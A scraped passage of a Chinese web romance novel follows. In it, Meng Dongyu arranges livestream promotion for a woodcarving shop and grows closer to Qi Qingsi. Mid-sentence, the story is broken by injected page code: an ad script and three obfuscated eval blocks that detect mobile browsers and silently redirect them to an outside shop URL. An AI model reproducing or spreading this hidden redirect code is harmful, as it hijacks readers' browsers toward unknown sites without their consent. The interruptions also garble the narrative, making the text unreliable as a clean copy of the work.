孟冬愉最后没辙,无奈地任由它扑到怀里,在她的怀中蹭来蹭去。 忽而梦境一转,可爱的小狗突然变成一只凶狠的恶犬。 猝不及防地,露出尖尖的獠牙在她脖子上咬了一口。 紧接着,恶犬的脸又变换成祁清肆的脸,他勾着唇角,笑得恶劣:“对我态度好一点,不然就咬你。” 孟冬愉猛地从梦中惊醒,窗外已经天光大亮。 都怪昨晚祁清肆无理取闹的质问和莫名其妙送她的小狗。 身上的冷汗消散,孟冬愉没再把这个荒唐的梦放在心上。 祁振强的木雕店昨天闭店一天,今天六点钟就开了门。 孟冬愉吃了早饭过去的时候,祁振强已经在雕前两天停工的巨大佛像。 店铺上了新品,但是新的客源没有引进来,供远大于求的状态,很难 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让店铺起死回生。 要用什么办法将店铺的名声打出去,然后进一步引流呢? 孟冬愉和祁振强打了招呼,一边去思考,一边去打磨她雕刻的第二个卡通人物。 中午的时候,胡杭拎着两盒糕点进来:“祁叔,马上中秋了,我爸妈做的新品月饼,让我送来给您尝尝鲜。” 祁振强也没客气,将糕点接了过来,又抬头看了眼挂在墙上的日历,问道:“这不还有大半个月吗,这么早就开始卖月饼了?” “我爸的原话。”胡杭嘿嘿笑了两声,模仿着胡父的腔调,“趁着暑假还没结束,早点做出来,让来南江旅游的人带点吃吃喝喝的特产回去。” 旅游?吃吃喝喝? 孟冬愉骤然想起昨晚郑泽的直播。 如果可以说服郑泽帮忙宣传祁振强的木雕店,利用自媒体引流,确实不失为一个好办法。 胡杭见孟冬愉盯着手中的木雕发呆,拍了拍她的肩膀提醒道:“冬愉姐,我还拿了两盒月饼放在了满汀洲。你等会儿别忘了回去尝尝,我怕你回去晚了,被小公主给吃光。” “芝士流心的,挺好吃的。” 孟冬愉心思全在引流上,全然没注意胡杭说了些什么,只是在他话音落时,礼貌地点了点头。 闻言,祁振强拆开了其中一盒糕点,放到孟冬愉面前,话里带着对胡杭的不满:“在我这里也能尝。” 胡杭有些不好意思地挠了挠头,插科打诨道:“哎呀祁叔,我这不是怕您不够吃吗?” 祁振强哼了一声,将他拆穿:“你是怕我虐待人姑娘。” “哪儿能啊。”胡杭赔笑,“冬愉姐是您收的徒弟,怎么会虐待她。” 祁振强看了眼孟冬愉,面不改色地纠正:“还没通过考验,不是我徒弟。” 祁振强和祁清肆到底是亲父子,在性格上有的时候还挺像。 面冷心热,口是心非,都有点傲娇属性。 孟冬愉压着唇角忍笑点头:“我还得继续努力。” 胡杭留下来又扯了些有的没的,然后被胡父的一通电话喊了回去。 孟冬愉象征性地尝了块祁振强递来的月饼。 月饼不大,饱腹性却很强,一块下肚,孟冬愉也没了胃口再去吃午饭,于是就继续给她第二个雕刻作品进行收尾工作。 郑泽白天基本上都浪迹在南江各处,只有晚上才会回满汀洲。 孟冬愉利用一下午的时间想好了合作的方式,决定晚上回去和郑泽谈一谈直播引流的事情。 晚上和祁振强一起闭了店,回到满汀洲,孟冬愉径直去敲了郑泽的房门。 门从里面被打开,郑泽有些惊讶地挑眉:“怎么了,学姐?” 孟冬愉看着他,开门见山:“方便下楼聊一聊吗?” 话说完,又怕他误会,孟冬愉接着补充:“关于自媒体的事情。” 郑泽以为孟冬愉同意了上次的提议,有些激动道:“你等我结束直播。” 他回到房间的设备镜头前快速说了结束语,走到门口,望着走廊外漆黑的夜色,又想起了什么似的,竖起食指摇了摇:“不行,得喊祁清肆一起。” 20. 合作 郑泽突如其来的一句话,搞得孟冬愉有些懵。 不是刚说好一起下楼去聊一聊自媒体的事情吗? 他突然要喊祁清肆做什么? 孟冬愉顺着他的视线向走廊外看去。 晚上七点多钟,月上枝头,一个很普通的夜晚,没发现什么异常。 她依旧没明白郑泽为什么望着围栏外的夜色,就想起了祁清肆。 孟冬愉猜测般问道:“你找祁清肆还有别的事情?” 郑泽将目光收回,重重地点了点头,低头拿着手机去翻通讯录:“对,特别重要的事情。” 事情总有个轻重缓急,她今天忽然来找郑泽,确实有些突兀。 毕竟很多博主谈商务合作都是需要约时间的。 孟冬愉给了个很合理的解决方案:“那你们先忙。” “你这两天什么时候有空?我们约个具体的时间再聊。” 郑泽闻言摆了摆手:“就是你的事情。” 孟冬愉不解:“什么意思?” 找到了祁清肆的电话号码,郑泽抬头,无奈地撇了撇嘴,语调里带着些阴阳怪气:“祁清肆这个人,护食得很。” “我可不想无缘无故再被他咬一口。” 孟冬愉:“护食?” 护食、咬,这些词听着怎么像是在形容狗? 应该是说到了气头上,郑泽意味深长地看了眼孟冬愉,继续吐槽:“食物是不是他的还不知道呢,就先炸了毛似的呲着牙不让别人靠近。” “以前也没见他这样。” 都是些什么跟什么? 每个字都理解,但是串成句子她怎么就听不懂了? 孟冬愉揉了揉眉心:“你们搞自媒体的,讲话都这么抽象吗?” 郑泽也没过多解释,摇着头长叹了一口气:“唉,学姐,你不懂我寄人篱下的苦衷。” 可能是见孟冬愉仍然一头雾水,郑泽指了指手机,给了她一个最终版的承诺:“冬愉学姐,你什么都不用管,就在这儿等我一下,我打个电话马上就好。” 话音落,郑泽点了手机屏幕上的呼叫按钮,拨了个电话出去。 打了第一遍,没人接听。 虽然郑泽的这些举动挺让人费解的,但是为了能尽快沟通正事,孟冬愉提议道:“要不打他微信电话试一下?” 郑泽显然比孟冬愉更了解祁清肆一点,无奈地向她解释:“他在工作室的话,手机一般会断网,微信更联系不上。” 第二通电话拨了出去,铃声响了很久,对面终于接通。 郑泽将手机开了免提,径直问道:“祁清肆,你忙完了吗?” 祁清肆声音染着困倦:“有事儿就讲。” 郑泽也没卖关子:“等下我要和冬愉学姐聊工作的事情,你来不来?” 不知道是信号不好还是怎么样,片刻后,祁清肆才哼笑出声:“你们聊你们的,喊我做什么?” “行,反正我和你说了,你爱来不来。”郑泽也跟着哼了一声,“只要到时候别自个儿在那吃闷醋,我和你讲两句话又让我滚蛋。” 祁清肆没应声,直接挂了电话。 通话结束,郑泽像是松了口气似的,看向孟冬愉:“走吧,学姐。” 楼下的开放式厨房中,二号房的大哥正在做晚饭。 要谈的也不是什么私人的事情,孟冬愉和郑泽直接在客厅找了个位置坐了下来。 两人也没再寒暄什么,郑泽直接问道:“你有想好选什么赛道吗?” 孟冬愉这才反应过来,郑泽刚刚听到她说找他谈自媒体的事情,为什么那么激动了。 孟冬愉摇了摇头:“不是我要做自媒体,是想和你谈谈合作的事情。” “白激动了。”郑泽也算是听明白了她的意思,而后又好奇地问,“什么合作?” 孟冬愉组织了一下语言:“想请你帮忙直播带货。” “学姐,你有关注我账号吗?”郑泽笑着质疑,而后又耐心地向她解释,“我不走直播卖货的赛道,我的账号主打吃喝玩乐,偶尔会接些广告宣传,直播只是为了固粉。” 孟冬愉今天下午特意搜过他的自媒体账号,粉丝有几百万,都特别活跃。 能看出来他是花了些心思的,会巧妙地把一些广告融合到视频主题里,宣传效果也很不错。 让他帮忙直播带货,是效益最大化的一个方案。 不过,孟冬愉也猜到了他不会愿意。 孟冬愉张了张口,退而求其次的方案还没说,就看到祁清肆进了门。 郑泽见他过来,又开始阴阳怪气:“哟,不是说不来吗?” 祁清肆在孟冬愉身侧挑了个位子坐下,面不改色应声:“我的民宿,我为什么不能来?” 郑泽“切”了一声,没继续和祁清肆拌嘴,转头看向孟冬愉,续上了方才的话题:“冬愉学姐,你刚刚说的带货,是带什么货?” 孟冬愉抿了抿唇角,没再绕弯子:“祁叔叔的木雕店近期上了不少新品,但是目前缺少宣传和销售渠道。” “所以想请你通过直播或者视频的形式,帮忙宣传一下。” “当然,你拍摄需要的报酬或者经费,我们都可以谈。” “嗨,早说是宣传木雕啊。”郑泽闻言拍了拍胸脯,“谈钱多伤感情,举手之劳的事情。” “更何况,助力国家非物质文化遗产的发展,人人有责。” 没料到他能答应地那么爽快,孟冬愉趁热打铁,试图将宣传方案敲定:“那你是想以直播还是视频的形式?我觉得直播的效果可能会更好一点。” “既然要宣传,肯定要直播和视频一起上。”郑泽倒是一点不吝啬,似乎想到了什么,又打了个响指,开始内容创作,“我觉得到时候学姐你可以出镜,向大家展示一下雕刻工艺。” “美女出镜,现场雕刻,绝对吸引流量。” 闻言,孟冬愉摇头拒绝:“我不太想。” 郑泽以为她是不好意思,于是接着劝说:“我对木雕一窍不通,让我一个人对着台词叭叭叭地讲,肯定没有现场展示更具说服力。” “你顶着这脸出镜,宣传效果绝对比我说破嘴皮子都有用。” 孟冬愉找了个理由拒绝:“我之前得罪过不少人,不太适合露面,容易招黑。” 郑泽还没反应过来她是认真的还是在开玩笑,祁清肆倒先笑出了声。 郑泽注意力被吸引了过来:“祁清肆,你笑什么?” 祁清肆唇角依旧勾着,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948517|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没搭腔。 孟冬愉既然坚持不肯,郑泽又把主意打到了祁清肆头上,问都没问就拍板决定:“那就让祁清肆出镜,他老爸的木雕店,他确实得帮忙宣传一下。” 郑泽不知道祁清肆和祁振强的关系闹得很僵吗? 孟冬愉闻言心下一惊,而后下意识看向祁清肆。 他神色一如既往,仿佛并没有把郑泽的话放在心上。 孟冬愉松了一口气,而后暗示般提醒郑泽:“还是算了,祁叔叔肯定不乐意这么大张旗鼓。” “当初满汀洲不就是靠祁清肆这张脸火起来的?”郑泽并没听懂她话里的意思,甚至为自己的创意感到激动,“刚好这两年满汀洲没什么热度了,祁清肆露个面,一举两得啊!” 孟冬愉暗暗叹了口气,帮祁清肆拒绝:“他也对木雕一窍不通,不太适合出镜展示。” 这句话倒不是孟冬愉的主观恶评。 这些天,她听祁振强吐槽过几次,说祁清肆打小就不愿意跟着他学木雕,一直对这种手工活没兴趣。 “还挺了解我。”祁清肆闻言,挑眉看她,而后又话锋一转,“我一窍不通,你就不能教我?” 孟冬愉:“?” 郑泽听出了他话里的意思,骄傲地叉腰道:“我就说祁清肆愿意出镜吧。” 孟冬愉有些不敢置信,看着祁清肆再次确认:“真的吗?” 真的愿意帮忙宣传祁振强的木雕店? 祁清肆懒洋洋地点头,给了个理由:“嗯,主要是为了满汀洲。” 孟冬愉和郑泽一起将直播的大致流程定好,又整理一些需要的前置准备工作。 商量得差不多时,童欣瑶腾腾腾地从楼上下来。 还没走到客厅,就扬声问道:“祁清肆,你谈恋爱了?” 在场的三人闻言纷纷看向站在楼梯口语出惊人的小姑娘。 童欣瑶晃了晃手中的手机,解释道:“我妈刚才打电话过来,问我有没有见过祁清肆的女朋友。” “还说昨天晚上祁清肆和女朋友约会去了。” 孟冬愉再次回忆起来昨晚帮忙当挡箭牌这件事。 她看向祁清肆,用眼神告诉他,让他自己想办法解释。 祁清肆也不着急辩解,片刻后,才应声:“是去约会了。” 孟冬愉:“?” 怎么还在面不改色地撒谎? 童欣瑶连忙凑了过去,双眼放光地问道:“和谁啊?我见没见过?” 祁清肆似笑非笑地看了眼孟冬愉,而后承认:“见过。” 童欣瑶想了一会儿,而后笃定似的总结:“所以你和上次向你表白的那个小姐姐在一起了?” 祁清肆嫌弃地睥了她一眼,明显否认的意思。 童欣瑶见状疑惑地蹙了蹙眉:“那到底是谁啊,我印象中你接触过的女孩子不多啊。” 还没等到祁清肆的回应,童欣瑶看着眼前面无表情的孟冬愉,又随口补充了句:“总不能是冬天姐姐吧?” 话音刚落,身处话题中心的两人同时开口。 祁清肆:“为什么不能是她?” 孟冬愉:“不是我。” 祁清肆忽而笑了声,意味深长道:“孟冬愉,做我女朋友很丢人吗?” 21. 朋友 祁清肆的话音落,客厅内一瞬间安静得落针可闻。 原本在一旁默默吃瓜的郑泽,率先打破了安静,惊讶道:“不是,你们真谈了?” “没有。”孟冬愉冷声否认,而后带着点逃避的意味起身上楼。 郑泽望着孟冬愉消失在楼梯转角处的背影,挪到祁清肆身边,撞了下他的肩膀:“什么意思?” “冬愉学姐的‘没有’是在回应你还是在回应我啊?” 没搞清楚事情的前因后果,也没从当事人口中得到确切的答案。 童欣瑶也有些着急,她跟着郑泽一起凑过去:“祁清肆,你说句话啊?” 祁清肆起身,自嘲般扯着唇角,同时回应了两个人的问题:“要我说什么?她的态度还不明显?” 孟冬愉回到房间,倚在门后,心跳加快,呼吸有些不稳。 上楼的脚步是在加速中进行的,剧烈运动,导致呼吸急促,这很正常。 但是心跳加速这件事情是先于剧烈运动之前发生的,她找不到借口。 孟冬愉努力调整呼吸,脑海中又浮现出祁清肆方才的那句话—— “做我的女朋友很丢人吗?” 当时的他就坐在她身侧的沙发上,姿态懒散,语气是带着调侃的质问。 话出口时,他抬眼望着她,漆黑的眸子里分明带着小心翼翼的认真。 就像是……试探般的表白。 孟冬愉在那一瞬间开始有些不知所措。 她下意识地躲开他的视线,试图用冷漠的假面回绝,却发现那些伤人的话怎么都说不出口。 最后只能落荒而逃。 这太不正常了。 也很不像她。 她对感情这件事情虽然迟钝,但是他人一旦表露心意,她就能在下一瞬间镇定而冷漠地拒绝掉。 就像形成了条件反射一样,百试百灵。 然而,今天却莫名其妙地失灵了。 方才慌乱的呼吸已经平复,胃部的不适感将孟冬愉的思绪扯了回来。 今天中午只吃了块月饼,晚上回来着急找郑泽谈合作,晚饭也没来得及吃。 胃里此刻空荡荡的,还带着隐隐的灼痛。 孟冬愉肠胃从小就不怎么好,虽然工作了之后去看过医生,医生也开了药让她慢慢调理。 但是当时忙着工作,经常性忘记吃药,最后也没彻底调理好。 胃里的不适提醒她此刻需要吃点东西缓和一下。 只是她刚才逃避似的离开,此刻并不想再下去。 好在包里有前两天童欣瑶塞给她的一盒饼干。 孟冬愉拆开包装,一块一块地慢慢送进嘴里。 饼干酥甜,还夹着橙子味的果酱,孟冬愉忽然间想起,也是这样一个饥肠辘辘的晚上,朝她递来饼干的那个人。 孟冬愉把手上的饼干渣擦掉,捞过手机,点开短信,手指往下翻了翻,找到了快要沉底的消息栏。 她点进去往上翻,都是她发过去的问候,对方并没有回音。 最近的一条消息,是她一个月前打算离职时发的。 孟冬愉抿了抿唇角,再次编辑了一段文字。 【小姨,我现在在南江。马上要中秋了,你给我个地址吧,我给你寄这里的月饼过去。】 短信提示发送成功,也意味着石沉大海。 孟冬愉望着消息框发呆。 手机忽然震动一下,微信消息弹窗弹出一条新信息。 祁清肆:【下来吃饭。】 以为是长久望着屏幕看花了眼睛,孟冬愉怔愣了一下,而后点进去确认。 是祁清肆发来的,也是自从加了微信后第一次聊天。 只是,他怎么知道她没吃饭? 孟冬愉手指在输入栏停顿,犹豫着要回些什么。 字还没打出来,门就被敲响。 孟冬愉将没吃完的饼干放好,而后去开了门。 祁清肆站在门口,开门见山:“煮了粥,下来吃。” 孟冬愉摇了摇头:“不用了,我已经吃过了。” 闻言,祁清肆质问中带着一丝生气:“胃不舒服还吃零食?” 孟冬愉并没有去关注他的语气,几乎下意识脱口而出:“你怎么知道的?” 祁清肆窝火轻哼:“猜的。” 知道她没吃饭,知道她胃不舒服,知道她吃了饼干。 怎么可能猜这么准? 孟冬愉:“你在我房间装了监控?” 祁清肆被气笑:“要是没有不舒服,那刚才在楼下一直捂着胃做什么?” 哪有一直捂着? 刚才和郑泽聊工作的时候,胃里就有些不舒服,她不过是偶尔抬手揉了揉,这都被他注意到了? 没等她再说些什么,祁清肆下巴点了点楼梯口,提醒她:“走了。” 孟冬愉抬头去看他,再次想起方才楼下发生的事情。 下意识地想去逃避。 她掐了掐掌心,再次拒绝:“不用了。” 祁清肆好像察觉到了她的想法,盯着她的眼睛,勾唇淡嘲:“孟冬愉,既然对我没意思,就坦荡一点。” 孟冬愉反问:“那你呢?对我有意思吗?” 没料到她会这么问,祁清肆顿了一下,而后又将问题抛给了她:“你觉得呢?” 孟冬愉摇头:“我不知道。” 她真的不知道。 他言行上偶尔会带着点顽劣的意味,但是很有分寸,并没有让人反感的越界行为。 他确实对她好得有点不同寻常,但是他从未挑明过对她的想法。 她也顺理成章地安慰自己说他本身就是这样对谁都好的人。 “如果我说有意思,你怎么办?” 他依旧盯着她,神色平淡,这句话问得不带丝毫暧昧色彩,好像就是在讨论天气一样。 孟冬愉蜷了蜷手指,话还没说出口,就被他抢了先。 他一字一句地将她的心里话道出:“冷言冷语地拒绝,然后连夜办理退租,躲我躲得远远的?” 像是一颗又一颗的石子敲击着她的心脏。 她拒绝人的方式向来如此。 明明才认识了没多久,他好像总能看透她心里的想法。 孟冬愉垂下头去,被人识破的无力感席卷全身,心里却乱成一团。 祁清肆咬着牙笑了声:“孟冬愉,放心,我对你没意思。” “我只是爱多管闲事,只是觉得你——” 原本紧绷的弦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958832|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开,心里悬起的石子哗啦啦落地。 孟冬愉再次抬头:“觉得我什么?” 祁清肆面不改色地将没说完的话续上:“觉得你这个人适合做朋友。” 朋友? 这个词对孟冬愉来说有些陌生。 好像从来没有人对她说过这句话,也从来没有人真心地愿意和她交朋友。 他的朋友却有很多,像胡杭像郑泽,童欣瑶一定意义上也算一个。 和他成为朋友,听起来是一件不错的事情。 孟冬愉心底莫名松了一口气,她问道:“为什么会觉得我适合做朋友?” 祁清肆想都没想,就把理由脱口而出:“觉得你坚强,果敢又努力,行吗?” 他的神色如旧,话里也辩不出真假。 孟冬愉敛了敛眉,没再应声。 祁清肆看了眼时间,再次将话题绕了回来:“这位朋友,能不能先下去吃点东西?” 刚才的饼干她没吃几块,根本不顶饱。 孟冬愉也没再继续纠结,和祁清肆一起下了楼。 锅盖被掀开,皮蛋瘦肉粥香气四溢。 祁清肆帮她盛了一碗出来,连同汤匙一起递给她。 孟冬愉道了声谢,捧着碗在餐桌落座。 祁清肆没和她一起吃,只是站在流理台前看了她一会儿,而后忽的开口:“孟冬愉,对自己好一点。” 孟冬愉抬头,没理解他突然讲这句话的意思:“什么?” “没什么,好好吃饭。” 话说完,他转身,径直上了楼。 - 昨天和郑泽商量好了直播形式,孟冬愉早早地起床去了木雕店,一边帮着祁振强开店,一边和祁振强沟通。 祁振强听闻祁清肆愿意来,冷哼一声,道:“他打小就没那个天赋,谁教都没用。” 话虽是这么说,但祁振强倒是也没阻拦。 和祁振强一起将店里的木雕陈列好,又清理一番,孟冬愉吃了个早饭,再次回了满汀洲。 祁清肆刚运动完回来,郑泽也刚刚起床。 孟冬愉等他们收拾好,带着他们一起去了祁振强的木雕店。 第一天主要教祁清肆学雕刻,郑泽跟着拍些视频素材。 一天的时间飞快过去,祁清肆入门的雕刻作品也坑坑洼洼地成了型。 一个最简单的小老鼠,被他雕成了一个四不像。 本着要鼓励的原则,孟冬愉昧着良心夸奖道:“还不错。” 郑泽嫌弃地“啧”了一声,拆穿了孟冬愉的谎言:“冬愉学姐,要不还是你出镜吧。” “祁清肆雕的这鬼东西我都没眼看。” 祁清肆也不恼,揉着手腕悠悠开口:“才学一天,急什么?” 郑泽向孟冬愉确认:“学姐,你第一天学也雕成这样吗?” 孟冬愉还没应声,祁振强就先把一个小老鼠的木雕扔了过来:“这才叫还不错。” “他那叫浪费时间。” 郑泽将两人的小老鼠拿在一起对比,试图帮祁清肆说话:“祁叔,您学了多少年了,这雕出来的和祁清肆刚学的肯定没有可比性啊。” 孟冬愉清了清嗓子,有些不好意思地解释道:“那个是我雕的。” 22. 了解 拿祁振强的手艺和祁清肆比,自然没有可比性。 毕竟祁振强是有几十年的雕刻功底在,经过文旅部门认证过并颁发了证书的传承人。 然而,拿孟冬愉的手艺和祁清肆比,只能说没有对比就没有伤害。 郑泽看着眼前“精美的卖家秀”和“潦草的买家秀”,不由得瞪大了双眼:“真的假的?” 祁振强替孟冬愉补充:“这是人姑娘第一天的作品。” 话说完,他又哼了一声,脸上带着嫌弃:“这种小玩意儿只是些简单的力气活,这都雕不好,就别在我这里浪费时间了。” 郑泽这次确实没办法再违心地替祁清肆说话。 他玩笑般问道:“祁清肆,你是祁叔的亲儿子吗?怎么一点没遗传他的天赋?” 祁清肆嗤笑,带着满不在乎的语气,不屑地吐出两个字:“不是。” 祁振强不甘示弱:“老子也不认他这个儿子。” 他将手中的雕刻刀重重地丢在桌子上,气哄哄地出了门。 眼看着一句话勾起了父子之间的矛盾,郑泽望着祁振强的出门的背影,连忙跑过去拦:“祁叔,干嘛去啊?祁清肆开玩笑的。” 祁振强冷着脸绕过他,给了个解释:“我去吃饭。” 郑泽这才松了口气,再次回了里间雕刻室。 室内一瞬间的寂静过后,郑泽看了眼继续垂头雕刻的孟冬愉,凑到祁清肆身边,压低声音打趣:“你不会是想让冬愉学姐多教你几天,才故意雕这么差的吧?” 郑泽声音虽然低,但是室内也安静,这句话还是落入孟冬愉耳中。 她本想置身事外,不曾想又被扯入其中。 多教几天?故意? 为什么要这么做? 孟冬愉抬头看向他们,轻轻蹙了蹙眉,疑问还没问出口,就听到了祁清肆的回答。 祁清肆掀起眼皮瞥了郑泽一眼,神色坦荡:“我确实没天赋。” 郑泽被他堵得没话说,又转过头来夸孟冬愉:“冬愉学姐总是给人带来意想不到的惊喜。” “读书时顶着张校花的脸,却一直拿成绩说话;看着是乖乖女的性格,打游戏时却把对手按在地上摩擦。” “就连学个手工艺,都要比平常人多点天赋。” 郑泽“啧”了一声,发自肺腑地感慨:“聪明的人,干什么都游刃有余。” 孟冬愉还没来得及否认,祁清肆倒先替她开了口:“她才不是聪明。” 很少有人被夸聪明会不开心,面对祁清肆的反驳,郑泽替孟冬愉打抱不平:“怎么回事儿?你还不服气啊?” 祁清肆笑了声,看着孟冬愉,悠悠开口,替她将她心底的想法全盘托出:“她只是比别人付出了更多的努力罢了。” 孟冬愉被很多人夸过聪明,却从来没有承认过自己聪明,也从来不觉得自己聪明。 她读书时的好成绩是她夜以继日地埋头苦读换来的,她工作时的好业绩是她起早贪黑加班加点地拼搏来的。 只有清晨的太阳和深夜的月亮才知道她为了让自己变得优秀,付出了多少努力。 她不过是拼尽了全力,才显得有那么一丝的游刃有余。 孟冬愉看着祁清肆张了张口,却不知道该问些什么。 他总能看出她的纠结,猜出她心底的想法。 他好像将她了解地很透彻,好像对她的那些过往了如指掌。 可是他们明明才认识没多久,她也不曾透露过她的私事。 郑泽依旧认为祁清肆此刻的表现是一种直男行为,讲出来的话并不讨女孩子欢心。 他努力朝祁清肆使眼色:“冬愉学姐怎么就不聪明了?就拿木雕来说,你们第一天雕出来的东西,那可是天差地别。” “你雕得这么差,是因为你没努力吗?” 祁清肆抬手漫不经心地清理着桌面,闻言坦然承认:“她第一天是早上五点多钟来的,晚上十一点多才回去。” “至少这一点,我就做不到。” “更何况,第一天学艺之前,她就已经做了很多相关的功课。” 闻言,郑泽问出了孟冬愉一直想问的话:“不是,你怎么这么了解她?” 祁清肆懒散应声:“我善于观察,行吗?” 似乎想到了什么,他再次抬眼看向孟冬愉,回到原来的话题:“而且,她如果真聪明的话,也不至于……” 话说到一半又戛然而止。 郑泽好奇地顺着他的话问:“不至于什么?” 祁清肆哼笑:“有些人站到她面前,她都认不出来。” 孟冬愉:“?” 她不聪明归不聪明,也不至于到蠢的地步。 谁站在她面前,她没认出来了? 莫名其妙。 郑泽也显然把祁清肆的话当成了一种辩解,安慰道:“学姐,别跟他一般见识,他就是嫉妒你比他雕得好,才各种找理由。” 祁清肆也没再多说什么,将桌面彻底清理干净,而后起身。 见他没有再学下去的意思,郑泽问道:“这是打算放弃了?” 孟冬愉闻言也看向他。 祁清肆将衣服上的木屑掸掉,对上孟冬愉的视线,勾唇道:“放心,我不是知难而退的人。” 郑泽抬手看了眼时间,一连三问:“那你现在是去干嘛?还有别的事儿?时间还早不再努力一下?” 祁清肆回得理所当然:“饿了,回去做饭。” “做饭?”郑泽不解,“街上那么多餐馆,像中午一样,随便挑一家去吃不就好了,做饭多浪费时间?” “没营养,不卫生,吃不惯。”祁清肆想都没想地应声,而后又扭头看向孟冬愉,“晚上想吃什么?” 孟冬愉今天中午被郑泽拉着和祁清肆一起在外面的餐馆吃的饭。 只是昨天不健康饮食习惯伤了胃,中午点的饭菜又有些油腻,她就没怎么动筷子。 现在确实有些饿了。 总是蹭吃蹭喝地也不太好,孟冬愉犹豫了一下,礼貌地拒绝:“不用了,我等会儿在外面随便吃点就好。” 祁清肆语气带着点不爽:“孟冬愉,又和我客气啊?” 郑泽这才反应过来祁清肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984653|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意图,偷偷朝祁清肆“啧啧”两声,又笑着扭过头来帮着劝说:“那怎么成?干了一天的力气活,怎么都得吃点好的。” “更何况,拜师还要有拜师礼呢,你教了祁清肆一天,吃他顿饭都算便宜他了。” 郑泽话说得天花乱坠,台阶也递得很好。 孟冬愉只好抿着唇角点了点头:“我不挑食,吃什么都行。” 祁清肆也没再多问,扯着郑泽一起回了满汀洲。 祁振强吃完饭回来没多久,孟冬愉就收到祁清肆喊她回去吃饭的消息。 餐桌上的饭菜清淡爽口,清蒸鲈鱼,白灼虾,清炒时蔬,凉拌莴笋,萝卜排骨汤,山药小米粥…… “你们南江人口味真淡,一点都不下饭。”郑泽一边吃一边吐槽,还试图拉上孟冬愉一起,“冬愉学姐,你是不是也吃不惯?是不是觉得北城的饭菜更可口一点?” 孟冬愉还没吱声,童欣瑶就先不满地反驳:“我们南江人怎么你了?明明是你们北城人口味太重。” “而且,祁清肆这次做的,也不是南江的特色菜啊,你可别在这儿地域黑了。” 怼完郑泽,童欣瑶又试图将孟冬愉拉拢过来:“冬天姐姐,你吃着怎么样?虽然这次确实清淡了点,但是我觉得也挺好吃的。” 孟冬愉向来在吃的方面要求不高,能填饱肚子就行。 没有太多的口腹之欲,味蕾的敏感性也随之下降,大多数时候她其实品尝不出来一道美食是不是真的好吃,是不是她喜欢吃的。 不知道是太饿了,还是胃里不舒服的原因。 这次的菜格外对她的胃口。 清淡爽口,无论是从卖相上还是品相上,都让人食欲大增。 孟冬愉将排骨上的肉咬掉吞进肚子里,才开口评价:“我也觉得挺好吃的。” 祁清肆闻言唇角扬了扬,顺手帮她盛了碗山药小米粥:“嗯,那就多吃点儿。” 饭吃到一半,胡杭又拎着糕点风风火火地闯了进来。 他看着大家吃得正香,气愤道:“服了,肆哥做饭,你们竟然不喊我?” “亏我还担心昨天的月饼不够你们吃,又带了两盒过来。” 而后又用不知道从哪学来的腔调,扼腕叹息:“错付了,终究是错付了。” 童欣瑶横了他一眼,顺其自然地接了话:“贱人就是矫情。” “别演了。”祁清肆嫌弃地嗤了一声,下巴点了点饭桌示意胡杭,“想吃就过来坐。” 得到了应允,胡杭嘿嘿笑了下,也不见外,把手中拎的糕点放到流理台,去厨房抽了双筷子,而后去拉孟冬愉旁边的空椅子。 孟冬愉和祁清肆是并排坐的,但两人之间的距离不算很近,因此她右侧的空位就显得有些挤。 见胡杭拉椅子,孟冬愉放下筷子,欠身拉着身下的椅子向左让了让。 然而不知脚下绊到了什么,身体的平衡能力失调,她踉跄了一下,继而侧身撞在了祁清肆的肩膀上。 祁清肆眼疾手快地将她护住,语调里染着明晃晃的调笑:“孟冬愉,怎么吃个饭还碰瓷儿啊?” 23. 慌乱 祁清肆的胳膊揽着她的肩膀,手掌虚虚地搭在她的肩头,从背后看像是将她轻飘飘地搂着。 但是孟冬愉明显感觉到他的臂膀用了些力道,让她失去平衡的身体不至于向下跌。 不知道是长期被檀木香浸润的缘故,还是用了类似的香水。 他身上清幽的淡香让人闻了莫名的安心。 南江的天气依旧燥热,室内冷气开着,隔着背部单薄的布料,依旧能感受到他手臂皮肤缓缓上升的温度。 短短的一瞬间,她的心脏像被烫了一下,猛地回缩,而后剧烈跳动。 直到耳畔传来他浸着笑意的调侃,孟冬愉才蓦然回神,僵硬地直起身来。 她仓促地拿起筷子,垂头夹菜,试图掩饰心下的慌乱:“抱歉。” 祁清肆不以为意地笑了声,语调如往日般吊儿郎当:“没事儿,别讹我就行。” 可惜孟冬愉的视线没落到他身上,自然也没看到他红得滴血的耳尖。 对面的郑泽和童欣瑶心照不宣地对视一眼,倒是也没将祁清肆拆穿。 胡杭心思全在吃饭上,全然没注意到身旁两人之间奇怪的氛围。 